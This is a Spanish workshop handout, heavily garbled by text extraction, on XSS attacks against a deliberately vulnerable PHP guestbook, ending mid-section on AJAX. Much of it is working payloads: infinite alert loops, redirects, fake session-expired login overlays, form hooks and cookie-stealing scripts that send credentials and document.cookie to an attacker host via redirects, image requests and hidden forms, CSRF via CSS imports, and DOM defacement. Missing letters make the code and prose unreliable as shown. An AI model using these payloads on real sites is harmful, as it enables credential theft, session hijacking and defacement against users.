Está en la página 1de 30

4party Ataques XSS

Ataques XSS con |avascrpt


por dversn y benefco
Peo Xaber Atad Insttuto Cuatroventos
De las muchas vulnerabilidades que podemos encontrar en las aplicaciones Web
una de las ms comunes es el XSS o Cross-Site-Scripting. Consiste esencialmente
en introducir cdigo en pginas web para que lo ejecute cualquiera que acceda a
ellas.
unque es relativamente !cil protegerse ante estos ataques" e#isten muchas
maneras de saltarse !iltros. $n este taller se probaran distintas diversiones con
javascript" desde el hola mundo a cosas ms complejas.

Tabla de contenidos
Ataques XSS con |avascrpt como dversn y benefco .........................................1
(0). Escenaro y prmera prueba .......................................................................2
(1). Hoa mundo ................................................................................................3
(2). Dando por e cuo con aerts .......................................................................4
(3). Vmonos de aqu ........................................................................................5
(4). |ugando con e ob|eto wndow ....................................................................6
(5). Soctando datos a usuaro ........................................................................7
(6). Capturando eventos ...................................................................................8
(7). Robo de cookes y sesones ......................................................................10
(8). Sesson Rddng ........................................................................................11
(9). Adueandonos de documento a travs de DOM ............................................12
(9.1). Ou es eso de DOM? .............................................................................12
(9.2). Leer, modfcar, aadr, reempazar y emnar ........................................13
(10). A|AX: una nueva era .....................................................................................18
(10.1). Mandando datos por o ba|n .................................................................19
(10.2). Mandando datos fuera ..........................................................................23
(10.3). Snfando datos .......................................................................................24
(11). Formas de ntroducr XSS .............................................................................25
Referencas, webs, artcuos:.................................................................................25
4party Ataques XSS
(0). Escenario y primera prueba

E XSS o Cross Ste scrptng es un tpo de ataque muy senco que puede
efectuarse contra as apcacones web. S no se ftran convenentemente os
datos ntroducdos por os usuaros de as apcacones web, puede nsertarse
HTML, |avascrpt y cuaquer cosa a travs de formuaros, enaces o cuaquer otra
forma de entrada.
Bscamente consste en hacer e|ecutar cdgo |avascrpt en e navegador de a
vctma a travs de a nsercn de forma refe|ada o persstente.
Este grfco mostrara e ataque refe|ado o no-persstente:
E ataque persstente es ms pegroso ya que afecta de gope a todo aque que
vste una web comprometda.
4party Ataques XSS
En e grfco se muestra e prmer paso, en e que e atacante nserta cdgo
|avascrpt y este queda en una BBDD.
Cmo funcona e ataque persstente? Supongamos que una web habta a
posbdad que os usuaros metan comentaros. S un usuaro macoso nserta un
comentaro con cdgo |avascrpt, cuando su comentaro se muestra en os
navegadores de os dems usuaros que vstan a web ese cdgo |avascrpt se
e|ecutar en sus navegadores.
Y qu es o que puede egar a hacer ese usuaro macoso usando nsertando
|avascrpt? Exsten nfndad de documentos y pgnas que descrben e Cross Ste
Scrptng, pero muchas veces expcan unos pocos de casos y ya est.
Est caro que s se permte e XSS as posbdades son nfntas, tantas como o
permten os engua|es y as crcunstancas.
En este documento se trata de reunr ve|as tcncas y otras ms nuevas de
ataques XSS, sobre todo as reaconadas con |avascrpt, tratando de presentar un
nteresante abanco.
Para as pruebas se ha utzado una apcacn web desarroada en php y mysq.
Es un guestbook programado de forma ncorrecta y temerara en a que no se
comprueban os datos de entrada y con a que convrtendonos en usuaro
macoso podemos hacer todas as pruebas que queramos. En a apcacn hay
una pgna ndex.php en a que cuaquer usuaro puede de|ar comantaros u
ataques. Para ver os efectos basta con recargar a pgna.
Para una mayor comoddad sera nteresante dsponer a mano de a gestn de a
BBDD a travs de phpmyadmn o por consoa, para vacar as tabas de vez en
cuando, ya que aguno de os ataques mposbtar e acceso a a apcacn.
Una forma smpe de comprobar s en a apcacn web se comprueban os datos
4party Ataques XSS
es nsertar ago de cdgo htm. Los comentaros HTML seran un buen e|empo, s
no se ven pero estn en e cdgo fuente de a pgna es posbe que a apcacn
sea vunerabe:
<!-- esto no se va a ver -->
Y s no pueden usarse etquetas sencas
<>Hoa</>

Para empezar a dversn podemos meter agunos efectos:
<marquee>Me estoy despazando</marquee>
Con otras etras.
<marquee><p stye='font-sze: 60pt'>Ahora con grandes etras</p></marquee>

Tambn podemos meter ago de sondo
<embed
src="http://www.movesoundscentra.com/sounds/star_wars/empre_strkes_back/darksde.wav">

O un sondo ms ocuto:
<bgsound
src="http://www.movesoundscentra.com/sounds/star_wars/empre_strkes_back/darksde.wav">

Dentro de exporer podemos meter mgenes como esta:
<mg
dynsrc="http://www.movesoundscentra.com/sounds/star_wars/empre_strkes_back/darksde.wav
">
Se puede meter cuaquer etqueta HTML que se nos ocurra para dstorsonar e
aspecto de a pgna de una forma ms o menos amatva u ocurrente. Pero o
que nteresa es probar cosas que se pueden hacer con |avascrpt. Para probar s e
XSS de |avascrpt funcona o ms drecto es probar ago as:
<scrpt anguage="|avascrpt">
document.wrte("XSS de |avascrpt");
</scrpt>
O ms senco
<scrpt>document.wrte("XSS de |avascrpt");</scrpt>
Sempre que nos nterese meter mucho cdgo puede usarse un fchero
externo:
<scrpt anguage="|avascrpt" src="http://super|uacker.net/mcodgo.|s"></scrpt>
4party Ataques XSS
(1). Hola mundo
E engua|e |avascrpt es un engua|e:
* Interpretado
* Debmente tpado ( no hay tpos expctos como nt, char)
* Orentado a ob|etos
* Destnado a dotar de mayor dnamsmo a documentos HTML en os
navegadores.
En cuanto a a sntaxs, es muy smar a a de engua|e C en o bsco, dspone de
as msmas estructuras de contro, operadores, funcones, etc...

Bueno, sempre hay que empezar por o ms smpe. Para acostumbrarse a crear
cdgo |avascrpt hay que quedarse con as etquetas <scrpt> y </scrpt>, y
dentro de eas meteremos nuestro cdgo (s, hay muchas otras formas). En ese
cdgo puede haber defncn de varabes, funcones, nvocacn de funcones,
uso de ob|etos predefndos |avascrpt (wndow, document,...) etc...
Para empezar podemos nsertar mensa|tos con un smpe aert.
<scrpt> aert("Hoa mundo!");</scrpt>

<scrpt>aert("Esto es un aert \n Con satos y todo\n est ben eh");</scrpt>
4party Ataques XSS
(2). Dando por el culo con alerts

Una forma smpe de tocar as narces a os usuaros es meter aerts
ntermnabes. Eso es obgar a matar e proceso de navegador, por muchas
pestaas que tengan. S ocurre en mtad de una transaccn u otro momento
mportante de a navegacn puede resutar desastroso para e usuaro.
Un aert 5 veces:
<scrpt>
for (=0;<5;++)
aert("5 veces "+ );
</scrpt>
Un buce nfnto:
<scrpt>
for (;;)
aert("Nunca termnar");
</scrpt>
A travs de wndow confrm tambn e podemos dar a tabarra a usuaro:
<scrpt>
functon darPorcuo ()
{
f (confrm("Seeccona OK y te de|ar en paz"))
{
aert("Puedes estar tranquo o no?");
}
ese
{
aert("Sgo a o mo");
}
darPorcuo();
}
darPorcuo();
</scrpt>
4party Ataques XSS
(3). Vmonos de aqu

Una denegacn de servco o un hackeo cutre es hacer que una web resute
naccesbe.
Peno, muy smpe, pero que funcona sn probemas:
<scrpt>
document.ocaton.href = "http://super|uacker.net/deface.php";
</scrpt>
Otra forma de hacer o msmo con wndow:
<scrpt>
wndow.ocaton = "http://super|uacker.net/deface.php";
</scrpt>
Con e ob|eto Locaton podemos hacer o msmo:
<scrpt>
ocaton.assgn(""http://super|uacker.net/deface.php"");
</scrpt>
Esto tambn tendra e msmo resutado:
<scrpt>
ocaton.repace("http://super|uacker.net/deface.php");
</scrpt>
Podemos |ugar un poco ms reptendo a carga de a propa pgna:
<scrpt anguage="|avascrpt">
setTmeout('recarga()',100);
functon recarga ()
{
ocaton.reoad();
setTmeout('recarga()',5);
}
</scrpt>
4party Ataques XSS
(!). "u#ando con el ob$eto %indo%


E engua|e |avascrpt dspone de ob|eto Wndow, gracas a cua podemos hacer
dstntas cosas con a ventana de navegador. Estos son agunas de os mtodos y
propedades ms conocdas de ob|eto wndow.

%indo%.alert(msg) : mostrar un mensa|e
%indo%.con&irm(msg) : mostrar un daog de confrmacn
%indo%.prompt(msg) : mostrar un daog que socta datos
%indo%.print() : abre e daog de a mpresora
%indo%.&ind() : abre e daog de busquedas
%indo%.close() : trata de cerrar e navegador. Este pde confrmacn.
Un atrbuto que marca e ugar en que se encuentra e navegador:
wndow.Locaton = "http://www.|uacker.net";

Con as propedades y metodos sguentes podes fastdar a pgna y crear
efectos dvertdos
wndow.reszeTo(x,y) : cambar e tamo de a pgna
Un e|empo:
<scrpt anguage="|avascrpt">
wndow.reszeTo(10,10);
</scrpt>
%indo%.mo'eTo(x,y) : para mover a ventana
%indo%.mo'e(y(x,y) : para despazar a ventana horzontamente y
vertcamente
<scrpt anguage="|avascrpt">
wndow.reszeTo(0,0);
wndow.moveTo(0,0);
</scrpt>
Con esto movemos a ventana en un sentdo.
<scrpt anguage="|avascrpt">
var x = 0;
var y = 0;
setTmeout('mover(x,y)',1000);
functon mover (,|)
{
wndow.moveTo(++,|++);
4party Ataques XSS
x = (>400)?0:;
y = (|>400)?0:|;
setTmeout('mover(x,y)',5);
}
</scrpt>

Pero un movmento aeatoro es mucho ms dvertdo:
<scrpt anguage="|avascrpt">
setTmeout('mover()',1000);
functon mover ()
{
wndow.moveTo(Math.round(Math.random()*200),Math.round(Math.random()*200));
setTmeout('mover()',5);
}
</scrpt>

%indo%.&or%ard() : avanzar en a navegacn, como s pusaramos a fecha de
navegador
%indo%.bac)() : retroceder en a navegacn
Con esto e usuaro ser ncapaz de ver a pgna, savo que sea a prmera:
<scrpt anguage="|avascrpt">
wndow.back();
</scrpt>
%indo%.open() : a funcn que abre os odosos pop-ups. Suerte que cada vez
estn ms controados
<scrpt anguage="|avascrpt">
wndow.open("http://www.super|uacker.net","","wdth=600,heght=500");
</scrpt>

4party Ataques XSS
(*). +olicitando datos al usuario

Como hemos vsto, con e mtodo wndow.prompt podemos crear un daog que
socta datos a usuaro. Podemos crear un cdgo que socte e dato y o enve a
otro sto:
<scrpt anguage="|avascrpt">
var password = prompt("La sesn ha termnado. Por favor, vueva a ntroducr su cave:");
document.ocaton.href="http://super|uacker.net/eerpass.php?p=" + password;
</scrpt>
En e caso de IExporer podemos usar a funcn wndow.createPopup. Lo bueno es
que con un pop-up podemos crear pantaas ms compe|as y crebes.
<SCRIPT anguage="|avascrpt">
var mVentana = wndow.createPopup();
functon abrr()
{
var contendo = mVentana.document.body;
contendo.nnerHTML = '<h1>etquetas HTML o o que sea...</h1>';
mVentana.show(290, 190, 200, 200, document.body);
}
abrr();
</SCRIPT>
Para que esto cuee e usuaro debe ser un poco user, pero vsta a efectvdad
de os vrus y de os engaos en genera a mayora cae. Se puede hacer de un
modo mucho ms eegante, usando un boque DIV y mmetzndoo con e dseo
de a propa pgna. Se puede hacer tambn como o que se muestra a
contnuacn:
Crear un boque DIV que ocupe TODA a pgna. Basta con apcar agunas
propedades de ho|as de estos y crear un dv crebe:
<scrpt anguage="|avascrpt">
document.getEementById('dvfaso').stye.vsbty = "vsbe";
</scrpt>
<dv d='dvfaso' stye='poston:absoute;z-ndex:1;wdth:100%;heght:100%;top:0;eft:0;
border: 2px sod back;background-coor: bue;vsbty:fase;'>
La sesn ha termnado. Por favor ntroduzca su usuaro y su contrasea otra vez.
<form method='post' acton='http://super|uacker.net/recoger.php'>
Izena:<nput type='text' name='ogn'><br>
Pass:<nput type='password' name='pass'><br>
<nput type='submt'>
</form>
</dv>
4party Ataques XSS
(,). -apturando e'entos
Aqu ya empezamos con sutezas. E engua|e |avascrpt dspone de un
mecansmo esenca de os nterfaces vsuaes: os eventos. Cuando e usuaro
pusa un botn o reaza aguna accn concreta e fu|o puede drgrse una
funcn de |avascrpt.
Los eventos pueden capturarse a travs de as etquetas HTML:
<nput type="button" name="botn" vaue="Cerra" onCck="wndow.cose()">

<mg src="magen.|pg" onMouseOver="aert('ests sobre a magen')">
Pero adems de drgr as accones segn determnados eventos, con |avascrpt
tambn es posbe capturaros y asocares una funcn.

functon funcon () { ... }
document.getEementById("eemento").oncck = funconMagna;
Esto nos abre un abanco de posbdades nfntas en as que e nco mte
es a magnacn y e conocmento de os engua|es de a web. En este
caso vamos a tratar de aduearnos de os datos ntroducdos en un formuaro:
<scrpt anguage="|avascrpt">
functon ataque()
{
aert('Ataque XSS');
}
// Tenemos ms de una opcn para asocar a funcn a evento.
//document.ognform.onsubmt = new Functon ("ataque()");
//document.ognform.onsubmt = ataque;
document.forms|0|.onsubmt = ataque;
</scrpt>
En fn, eso no es ms que un PoC. Cmo nos as apaamos para sacar os datos?
Podemos usar e propo ob|eto de formuaro y a partr de ah podremos drgro
a donde queramos:
<scrpt anguage="|avascrpt">
functon robardatos()
{
var ogn = document.forms|0|.ogn.vaue;
var password = document.forms|0|.password.vaue;
document.ocaton.href = "http://super|uacker.net/recbr.php?user=" + ogn +"&pass=" +
password;
aert('Ataque XSS');
4party Ataques XSS
}
//Asgnamos a funcn
document.forms|0|.onsubmt = robardatos;
</scrpt>
E probema de ese ataque es que e usuaro, que es usuaro pero no tonto,
observar que est pasando ago. Para dsmuar esa petcn se puede crear una
magen HTML y en su atrbuto source mandamos os datos:
<scrpt anguage="|avascrpt">

// defnmos aqu as varabes
var ogn = document.forms|0|.ogn.vaue;
var password = document.forms|0|.password.vaue;
functon robardatos()
{
var magen = new Image;
var dreccon = "http://super|uacker.net/recbr.php?user=" + ogn +"&pass=" +
password;
magen.src = dreccon;
}

//Asgnamos a funcn
document.forms|0|.onsubmt = robardatos;
</scrpt>

4party Ataques XSS
(.). /obo de coo)ies y sesiones


A travs de a propedad document.cooke podemos sacar a cooke que est
utzando e usuaro:
<scrpt anguage="|avascrpt">
aert("Cookeak: " + document.cooke);
</scrpt>
S se consgue sacar ese dato fuera y s e contro de sesones es muy smpe se
puede factar e sesson h|ackng o secuestro de sesn. Para sacar e dato de a
cooke bastara con hacer ago as:
<scrpt>
document.ocaton.href = "http://super|uacker.net/recbr.php?ck="+ document.cooke;
</scrpt>
Ese cdgo tene e probema de que e robo es descarado, pero podemos usar
otra vez e truco de a magen para sacar e dato con dsmuo.
<scrpt anguage="|avascrpt">
functon robarcooke()
{
var magen = new Image;
var dreccon = document.ocaton.href="http://super|uacker.net/recbr.php?ck="+
document.cooke;
magen.src = dreccon;
}
</scrpt>
Exsten otras maneras de sacar e dato, caro est, basta con usar cuaquer
ob|eto que tenga una propedad src o smar. Luego hay formas sencosas y
drectas que veremos ms adeante.
4party Ataques XSS
(0). +ession /iddin#
E Sesson Rdng o e tambn conocdo como Cross-Ste Request Forgeres es en
certo modo e ataque perfecto. En ugar de robar una sesn, un ataque puede
evarse a cabo usando a sesn y e propo navegador de usuaro! Suena
ncrebe pero reamente es ago muy muy smpe. S e usuaro accede a una
pgna con cdgo htm+|avascrpt macoso podemos hacer que desde su
navegador haga o que nos nterese.
Supongamos que metemos ago as en una pgna, esta vez en ugar de usar una
magen usamos una referenca a una supuesta ho|a de estos que no es ta:
<stye type="text/css">
@mport ur(http://ocahost/xss|avascrpt/de.php?d=1);
</stye>
Cuano e usuaro cargue a pgna con ese contendo, su navegador pedr a ur
http://ocahost/xss|avascrpt/de.php?d=1
que en este caso puede estar especamente construda para reazar una accn
concreta en una apcacn web. Esa URL puede ser una accn en una apcacn
en a que tene aberta a sesn e usuaro, qun sabe s con permsos de
admnstrador. Acabamos de ograr que msmo borre datos sn darse cuenta. E
atacante no ha tendo por qu robare a sesn, e usuaro o hace desde a suya.
Podemos hacer que borre todo:
<stye type="text/css">
@mport ur(http://ocahost/xss|avascrpt/de.php?d=denak);
</stye>
Con eso vemos como atacar una apcacn por mtodo pero no sera muy
compcado evar a cabo petcones POST creando formuaros ocutos:
<form name="ocuto" method="post" acton="http://super|uacker.net/recbrpost.php">
<nput type="hdden" name="dato1">
</form>
<scrpt>
document.forms.ocuto.dato1.vaue = "Secreto: " + document.cooke;
document.forms.ocuto.submt();
</scrpt>
Para acertar, basta con pensar en apcacones popuares y ben conocdas, sacar
os datos que esperan en sus formuaros y crear una arga sta de ataques.
Aguno coar.
4party Ataques XSS
4party Ataques XSS
(1). 2due3andonos del documento a tra'4s de D56

Un documento HTML no es ms que una estructura |errquca de etquetas. Las
etquetas y e orden en e que se pueden poner as estabece a defncn de tpo
de documento o DTD que es un fchero con una sere de regas. Los fcheros DTD
son estndars y en e caso de HTML os estabece e consorco web o w3c.org.
Se supone que todas as pgnas web sguen un estndar, sea HTML o XHTML, y
desde |avascrpt exsten una sere de mtodos para acceder a esas etquetas y en
defntva a a estructura de documento.
(9.1). Qu es eso del DOM?
E DOM o Document Ob|ect Mode es un API de |avascrpt que facta e acceso e
documento HTML y con e que podemos eer etquetas, atrbutos, contendo de as
etquetas, modfcar, aadr, borrar, etc.. dcho de otro modo, podemos acceder a
cuaquer parte de documento HTML desde |avascrpt, aadre nuevas etquetas
donde queramos, emnar eementos de a pgna, y en defntva gestonar e
rbo de documento a nuestro gusto.
E DOM es una herramento muy poderosa para e programador de |avascrpt y
que sn duda e facta mucho a tarea de nteractuar con e nterfaz. Pero por otro
ado se converte en una puerta con afombra para que un usuaro
mantenconado manpue una pgna de manera muy sut.
(9.2). Leer, modificar, aadir, reemplazar elimi!ar
Vamos a ver como funconan agunos mtodos ms usuaes de DOM a travs de
un e|empo:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transtona//EN"
"http://www.w3.org/TR/htm4/oose.dtd">
<htm>
<tte>E|empo de documento</tte>
<scrpt anguage="|avascrpt">
...
</scrpt>
<body>
<dv d="boquedv">Esto es e <b>ttuo</b>
</dv>
<u>
<><a href="edtora.htm">Edtora</a></>
4party Ataques XSS
<><a href="sembanza.htm">Autores</a></>
<><a href="notcas.htm">Notcas</a></>
<><a href="contactos.htm">Conttenos</a></>
</u>
<nput type="button" name="captura" vaue="Capturar" onCck="captura()" >
<nput type="button" name="modfca" vaue="Modfcar" onCck="modfca()" >
<nput type="button" name="crea" vaue="Crear" onCck="crea()" >
<nput type="button" name="emna" vaue="Emna" onCck="emna()" >
<nput type="button" name="recupera" vaue="Recupera" onCck="recupera()" >
</body>
</htm>
Partendo de esa pgna HTML, vamos a mpementar dstntas funcones que
manpuen e documento.
Captura de eementos
/**
* captura
* funcn para mostrar e acceso a os eementos de documento
* de dstntas maneras
* Las magenes, formuaros
*/
functon captura ()
{
// capturamos un eemento por ID
var boque = document.getEementById("boquedv");
// capturamos todos os eemento por etqueta: devueve un array
var enaces = document.getEementsByTagName("a");
// Esto devueve un array
var dvs = document.getEementsByTagName('dv');
// Sacamos e HTML que contenen
var texto = boque.nnerHTML;
var texto2 = dvs|0|.nnerHTML;
aert("Dentro de dv: " + texto + "\n" + texto2);
/*
// un e|empo
var = 0;
var textoenaces = "";
for (=0;<enaces.ength;++)
{
textoenaces += + "> " + enaces||.nnerHTML + "\n";
}
aert("Los enaces apuntan a: \n" + textoenaces);
*/
4party Ataques XSS
}
6odi&icar
/**
* modfca
* funcn para modfcar os eementos de documento
*/
functon modfca()
{
// capturamos un eemento por ID
var boque = document.getEementById("boquedv");
// capturamos todos os eemento por etqueta: devueve un array
var enaces = document.getEementsByTagName("a");
boque.nnerHTML = "Ahora te cambo en <b>contendo</b>";
boque.stye.backgroundCoor = "yeow";
}
-rear elementos
/**
* crea
* funcn para crear nuevos eementos en e documento
*/
functon crea()
{
// capturamos un eemento por ID
var boque = document.getEementById("boquedv");
// capturamos todos os eemento por etqueta: devueve un array
var sta = document.getEementsByTagName("u");
var temsta = document.createEement("");
temsta.nnerHTML = wndow.prompt("Inserta un contendo para a sta");
// ahora se o aadmos a a sta con appendChd
sta|0|.appendChd(temsta);
// Vamos a crear un enace
var textoEnace = document.createTextNode("Super enace");
var nuevoEnace = document.createEement("a");
nuevoEnace.href = "http://4party.cuatroventos.org";
nuevoEnace.appendChd(textoEnace);
4party Ataques XSS
var temsta2 = document.createEement("");
temsta2.appendChd(nuevoEnace);
sta|0|.appendChd(temsta2);

// Crear una taba
var taba = document.createEement("tabe");

// En ugar de creare todos os eementos a mano
// Le metemos todo
taba.nnerHTML = "<tr><td>Ceda 1</td><td>Ceda 2</td></tr>";
taba.border = 1;
// Y o ncumos en e documento
document.body.appendChd(taba);
}
Eliminar
var guardado;
/**
* emna
* funcn para emnar eementos de documento
*/
functon emna()
{
// capturamos a taba por tag
var tabas = document.getEementsByTagName("tabe");
// Ahora accedemos a a segunda ceda de a taba
var ceda2 =
document.getEementsByTagName("tabe")|0|.chdNodes.tem(0).chdNodes.tem(0).astChd;

aert("Vamos a borrar: " + ceda2.nnerHTML + " y e boque DIV");

document.getEementsByTagName("tabe")|0|.chdNodes.tem(0).chdNodes.tem(0).removeChd
(ceda2);

// capturamos un eemento por ID
var boque = document.getEementById("boquedv");
// Lo emnamos y uego o guardamos
guardado = document.body.removeChd(boque);


}
/ecupera
/**
4party Ataques XSS
* recupera
* funcn que recupera un eemento emnado
*/
functon recupera()
{

document.body.appendChd(guardado);

//var otroboque = guardado.cone(true);

// S o queremos meter a prncpo, podemos usar nsertBefore
// A que e debemos especfcar antes de qu poscn hacero
var sta = document.getEementsByTagName("u");

document.body.nsertBefore(guardado,sta|0|);
}
Todas estas funcones muestran e|empos de uso de API DOM. es mucho ms
extenso y se e puede sacar ms |ugo. Pero conocendo ese poco ya se nos
pueden ocurrr muchas cosas nteresantes para manpuar a pgna.
(9."). #l$u!as ocurre!cias
Vae, ya hemos presentado e men de opcones, ahora Ou cosas podemos
hacer con este poder?
Bueno, as a bote pronto se nos pueden ocurrr unas cuantas:

Modfcar e contendo de un banner
Anadr un dv con mens o ampar os ya exstentes
Modfcar os formuaros para que manden e contendo a otro sto
Aadr nuevas entradas en un bog o foro
Manpuar todo tpo de datos: nmero de vstas, de comentaros, de votos,
... un argo etcetera que depende de o ocurrente que tengamos e da.
Como prueba vamos a manpuar un texto de|ado por un usuaro en e guestbook.
Para eo basta con anazar un poco a estructura de documento, a o|o o
utzando herramentas como e DOM Inspector de Frefox.
Lo que poda ser un texto amabe o podemos convertr en otra cosa.
S observamos e HTML de guestbook veremos que cada entrada va dentro de un
boque DIV con un contendo como este:
<dv cass='entrada' d='entrada_6' >
Oun: <b>Devorah</b> - Cundo: <>2007-06-06 10:24:39</><br>
Web: <a href='http://www.test.com'>http://www.test.com</a><br>
<b><>Me moas</></b></n><br>
4party Ataques XSS
<p>Tu web est super ben.</p><br>
</dv><hr>
Para manpuar esta entrada tan sugerente, bastara con nsertar un |avascrpt
como este:
<scrpt>
functon camba()
{
var ttuo = document.getEementsByTagName("h1");

ttuo|0|.nnerHTML = "MI GUESTBOOK APESTA";

var boque = document.getEementById('entrada_6');
boque.nnerHTML = "Oun: <b>|uan |os</b> - Cundo: <>2007-06-06
10:24:39</><br>";
boque.nnerHTML += "<a href='http://www.ya.com'>http://www.ya.com</a><br>";
boque.nnerHTML += "<b><>Lo sento, te han puesto os cuernos</></b></n><br>";
boque.nnerHTML += "<p>que sepas que tu nova me estuvo provocando y a fna me
de|e evar";
boque.nnerHTML += "Levas unos cuernos que vas rayando e techo.</p><br>";
}
// Cudado: en este caso no o podemos e|ecutar drectamente, hay que esperar que a
// pgna est cargada con todos os eementos.
document.body.onoad = camba();
</scrpt>
Dvertdo no?
Obvamente pueden hacerse cosas ms "seras" que comprometan a segurdad
de a pgna, como r a por as contraseas manpuando os formuaros.

4party Ataques XSS
(10). 2"278 una nue'a era
A|AX o Asynchronous |avascrpt And Xm es un con|unto de tecnoogas que puede
usarse en apcacones web para dotar a os navegadores de a posbdad de
reazar petcones a servdor sn que a pgna actua se recargue. Esto supone
un gran adeanto ya que hasta hace poco, cuando desde e navegador se
soctaba un pgna a servdor esta se cargaba y a partr de ah termnaba e
vncuo entre cente y servdor. Ahora en cambo, gracas a A|AX, a pgna web
de cente puede hacer nuevas petcones a servdor y refe|ar os cambos en a
pgna sn que haya recarga.
Con A|AX pueden hacerse petcones y envos de datos a servdor de forma
transparente y adems e podemos unr e DOM para que pueda modfcarse a
pgna de forma dnmca. Entre estas dos tcncas se consgue una funconadad
que hace aos sera mpensabe.
Pero toda nueva tecnooga sempre trae consgo sus resgos y como ya habrs
mgnado e hecho de que e navegador tenga a capacdad de hacer petcones
de manera cas nvsbe para e usuaro resuta muy atractvo para as
pretensones mavoas.
(1%.1). Ma!da!do da&os por lo 'a(i!i
Vamos a ver cmo sera e cdgo |avascrpt para hacer petcones con A|AX, tanto
de tpo GET como as de tpo POST. Con este senco cdgo, vdo para Frefox y
IExporer podramos hacer una petcn GET con A|AX.
1. Prmero se crea un ob|eto para hacer as petcones A|AX dentro una funcn
que manda a petcn.
2. Luego hay que crear una funcn que sea capaz de procesar a respuesta.
<!DOCTYPE htm PUBLIC "-//W3C//DTD XHTML 1.0 Transtona//EN"
"http://www.w3.org/TR/xhtm1/DTD/xhtm1-transtona.dtd">
<htm xmns="http://www.w3.org/1999/xhtm" xm:ang="es" dr="tr" ang="es">
<head>
<meta http-equv="Content-Type" content="text/htm; charset=utf-8" />
<tte>E|empo smpe de A|ax, Asynchronous |avascrpt And XML : saudo</tte>
<scrpt type="text/|avascrpt">
/*<!|CDATA|*/


/**
* saudoA|ax: E|empo basco de A|AX (1)
* Esta funcon nvoca un ob|eto capaz de hacer petcones a una pagna
* sn que se recargue a pagna. Funcona en exporer 6 sp2 y Frefox 1.0.6
* En este caso smpemente se socta una pagna y se muestra e texto
*/
functon saudoA|ax () {
4party Ataques XSS
// Creamos e ob|eto, segun e navegador
f (wndow.XMLHttpRequest) { // Para os moza y os basados en gecko
xmhttprequest = new XMLHttpRequest();
} ese f (wndow.ActveXOb|ect) { // Para Mordorsoft Expoter
xmhttprequest = new ActveXOb|ect("Mcrosoft.XMLHTTP");
}

// PREPARANDOSE PARA LA RESPUESTA
// estabecemos un hander para cuando egue a respuesta,
// es decr, e decmos que funcon procesara e XML
// xmhttprequest.onreadystatechange = procesaXML;
// Me|or decarara as para especfcar e parametro
xmhttprequest.onreadystatechange = functon() { procesaXML(xmhttprequest); };

// HACIENDO LA PETICION
// Open(metodo, ur, y s queremos a petcon asncrona o no)
xmhttprequest.open('GET', 'saudo.xm', true);

// No tene por que ser XML, podra ser texto norma
//xmhttprequest.open('GET','texto.txt',true);

// Send es necesaro para que se procese a petcon
// pero es optatvo pasar parametros para a URL remota
xmhttprequest.send(nu);

}

/**
* procesaXML
* parametros: e ob|eto xmhttprequest
* Es a funcon hander que procesa e archvo recbdo a traves
* de a petcon.
*/
functon procesaXML (xhr) {
// prmermo comprobamos e estado de a respuesta
// 0: sn ncazar
// 1 : cargandose
// 2 : cargado
// 3 : nteractvo
// 4 : competa
f (xhr.readyState == 4) {
// A contnuacon comprobamos e codgo de respuesta HTTP de servdor
// en caso de ser correcta sera 200 (OK)
// S hacemos una prueba oca no es necesaro
//f (xhr.status == 200) {
var resutado = xhr.responseText;
var boque = document.createEement("dv");
boque.nnerHTML = "<b>" + resutado + "</b>";
document.body.appendChd(boque);
//} ese {
// aert("Error a recbr petcn.");
4party Ataques XSS
//}
} ese {
// Todava no hay respuesta...
}
}

/*||>*/
</scrpt>
</head>
<body>
<p>
Es es un e|empo muy smpe de A|ax. S pnchas en e enace se hace una petcon para cargar un
contendo sn que se recargue a pagna.
</p>
<a href="|avascrpt:saudoA|ax()">Sadame como es debdo</a>
<hr />

</body>
</htm>
E$emplo de post
Y con este otro cdgo, haramos una petcn A|AX envando os datos de un
formuaro por POST:
<!DOCTYPE htm PUBLIC "-//W3C//DTD XHTML 1.0 Transtona//EN"
"http://www.w3.org/TR/xhtm1/DTD/xhtm1-transtona.dtd">
<htm xmns="http://www.w3.org/1999/xhtm" xm:ang="es" dr="tr" ang="es">
<head>
<meta http-equv="Content-Type" content="text/htm; charset=utf-8" />
<tte>E|empo smpe de A|ax, Asynchronous |avascrpt And XML : Conversor de euros</tte>
<scrpt type="text/|avascrpt">
/*<!|CDATA|*/


/**
* conversor : E|empo bsco de A|AX.
* Invocado desde e boton de converson, prepara e ob|eto de petcon
* e nvoca una pagna php remota
*/
functon conversor () {

var cantdad = document.getEementById("conversor").vaue;

// aert("La cantdad es " + cantdad);

// Creamos e ob|eto, segun e navegador
f (wndow.XMLHttpRequest) { // Para os moza y os basados en gecko
xmhttprequest = new XMLHttpRequest();
} ese f (wndow.ActveXOb|ect) { // Para Mordorsoft Expoter
xmhttprequest = new ActveXOb|ect("Mcrosoft.XMLHTTP");
4party Ataques XSS
}

// PREPARANDOSE PARA LA RESPUESTA
// estabecemos un hander para cuando egue a respuesta,
xmhttprequest.onreadystatechange = functon() { procesaConversor(xmhttprequest); };


// HACIENDO LA PETICION
// Open(metodo, ur, y s queremos a petcon asncrona o no)
xmhttprequest.open('POST', 'procesa.php', true);

// Preparamos e POST. Hay que estabecer esta cabecera
// para poder envar varabes por post
xmhttprequest.setRequestHeader('Content-Type', 'appcaton/x-www-form-urencoded');

// Send es necesaro s queremos pasar varabes por POST
// as que construmos una espece de query strng con varabes=vaores
xmhttprequest.send("conversor="+cantdad);

}

/**
* procesaConversor
* parametros: e ob|eto xmhttprequest
* Es a funcon hander que procesa e archvo recbdo a traves
* de a petcon. Es gua que a funcon anteror pero en este caso parseamos e XML
*/
functon procesaConversor (xhr) {
// prmermo comprobamos e estado de a respuesta
f (xhr.readyState == 4) {
// A contnuacon comprobamos e codgo de respuesta HTTP de servdor
f (xhr.status == 200) {
aert(xhr.responseText);
} ese {
aert("No se recbo una respuesta correcta. Respuesta HTTP: " +
xhr.status);
}
} ese {
// Todava no hay respuesta...
}
}


/*||>*/
</scrpt>
</head>
<body>
Este e|empo enva e contendo de a ca|a de texto a una pagna php, recoge e resutado y o
carga en a propa ca|a de texto. Todo eo sn que se recargue a pagna.
<nput type="text" name="conversor" d="conversor" vaue="" />
<nput type="button" name="boton" d="boton" vaue="Converte &euro; a ptas."
oncck="conversor()" />
4party Ataques XSS
<hr />

</body>
</htm>
Por tanto, un otro tpo de ataque XSS sera a travs de A|AX, sencoso, potente y
con ms posbdades abertas para e ma.
(1%.2). Ma!da!do da&os fuera
En prncpo A|AX tene mpuesta una mtacn por a cua e scrpt no puede
hacer petcones a otros domnos dstntos a de orgen de documento HTML. Lo
verdaderamente nteresante para e usuaro macoso sera a posbdad de
poder sacar os datos a donde qusera.
